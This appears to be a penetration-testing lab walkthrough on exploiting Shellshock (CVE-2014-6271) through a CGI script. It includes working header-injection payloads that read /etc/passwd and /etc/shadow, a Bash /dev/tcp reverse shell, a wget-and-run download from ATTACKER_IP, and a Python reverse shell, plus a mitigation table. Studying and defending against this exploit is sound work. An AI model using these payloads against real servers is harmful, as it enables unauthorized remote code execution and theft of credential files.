Shellshock (CVE-2014-6271)
CGI Background
A Common Gateway Interface (CGI) is middleware between a web server and external applications. When a user submits a request, the web server invokes a CGI script, passes it the request data via environment variables and stdin, and returns the scriptβs stdout to the client. Scripts are stored in /cgi-bin/ and can be written in any language (C, Perl, Python, Bash, etc.).
CGI process flow:
- Browser sends request URL to web server
- Web server invokes the CGI script for that URL
- Script executes, outputs response to stdout
- Web server returns output to browser
CGI creates a new OS process per request β each request forks a new process, opens a new DB connection, and cannot cache state between requests. These inefficiencies have made CGI largely obsolete in modern applications. It persists primarily in legacy systems and embedded/IoT devices.
Shellshock Overview
| Detail | Value |
|---|---|
| CVE | CVE-2014-6271 |
| Discovered | September 2014 |
| Affected software | GNU Bash versions up to 4.3 |
| Impact | Unauthenticated remote code execution via CGI |
| Still found in the wild | Yes β IoT devices, legacy embedded systems, unmaintained servers |
Shellshock exploits a flaw in how old versions of Bash handle function definitions stored in environment variables. When Bash imports an environment variable containing a function definition, vulnerable versions execute any commands that appear after the function body.
How the flaw works
Bash allows functions to be exported via environment variables:
export y='() { :; }' # defines a function y that does nothing
On a vulnerable system, any commands appended after the closing brace are executed when Bash starts:
env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable"
y='() { :;};'β function definition (imported by child Bash)echo vulnerable-shellshockβ injected command, executed by vulnerable Bash on import- Output on vulnerable system:
vulnerable-shellshockthennot vulnerable - Output on patched system:
not vulnerableonly
On a patched system, Bash no longer executes code after a function definition, and function variables must be prefixed with BASH_FUNC_.
Why CGI enables exploitation
When a web server processes a CGI request, it passes HTTP headers to the CGI script as environment variables β including HTTP_USER_AGENT, HTTP_REFERER, QUERY_STRING, etc. If the CGI script is executed by Bash (or calls Bash internally), an attacker-controlled header becomes an environment variable, and the Shellshock payload executes on Bash startup.
Enumeration
Find CGI scripts with Gobuster
gobuster dir -u http://10.129.204.231/cgi-bin/ \
-w /usr/share/wordlists/dirb/small.txt \
-x cgi
/access.cgi (Status: 200) [Size: 0]
Confirm the script exists
curl -i http://10.129.204.231/cgi-bin/access.cgi
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Content-Type: text/html
An empty 200 response is normal β the script may produce no output but is still Bash-backed.
Confirming the Vulnerability
Inject the Shellshock payload into the User-Agent header. If the system is vulnerable, the injected command (/bin/cat /etc/passwd) executes and its output is returned:
curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' \
bash -s :'' \
http://10.129.204.231/cgi-bin/access.cgi
Successful output returns the contents of /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
The two echo statements before the command inject blank lines to separate the HTTP response headers from the command output.
Other injectable headers to try:
| Header | CGI environment variable |
|---|---|
User-Agent | HTTP_USER_AGENT |
Referer | HTTP_REFERER |
Cookie | HTTP_COOKIE |
X-Forwarded-For | HTTP_X_FORWARDED_FOR |
Accept | HTTP_ACCEPT |
Exploitation β Reverse Shell
Once confirmed, obtain a reverse shell by injecting a Bash TCP one-liner into the same header:
Start a listener:
sudo nc -lvnp 7777
Send the payload:
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' \
http://10.129.204.231/cgi-bin/access.cgi
Shell received:
connect to [10.10.14.38] from (UNKNOWN) [10.129.204.231] 52840
www-data@htb:/usr/lib/cgi-bin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The shell runs as www-data β standard for Apache CGI. Escalate privileges or pivot from here.
Alternative payloads
# Read a file
() { :; }; echo ; /bin/cat /etc/shadow
# Execute a downloaded payload
() { :; }; /bin/bash -c 'wget http://ATTACKER_IP/shell.sh -O /tmp/s.sh && bash /tmp/s.sh'
# Python reverse shell (if Bash TCP redirect is blocked)
() { :; }; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",7777));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(["/bin/bash","-i"])'
Where to look for Shellshock
Shellshock is most likely to appear:
| Context | Notes |
|---|---|
| IoT / embedded devices | Routers, cameras, industrial controllers β rarely patched, often run old Bash |
| Legacy Linux servers | Pre-2014 Ubuntu/Debian/CentOS installs that have not received updates |
| End-of-life systems | Systems where the OS vendor no longer provides patches |
| Internal network appliances | VPN concentrators, load balancers, monitoring agents with CGI interfaces |
Any web application with files in /cgi-bin/ that are executed by Bash is a candidate.
Mitigation
| Option | Notes |
|---|---|
| Patch Bash | Upgrade to Bash 4.3 patch 25 or later β the definitive fix |
| Disable CGI | If not required, remove or disable CGI support in the web server config |
| WAF rules | Block () { patterns in HTTP headers as a temporary control |
| Network isolation | For critical IoT/embedded devices that cannot be patched, firewall off from internet and restrict internal access |
| Decommission | If the device is end-of-life and patching is impossible, evaluate taking it offline |
Firewalling and WAF rules are mitigations, not fixes. The definitive remediation is patching Bash or replacing the system.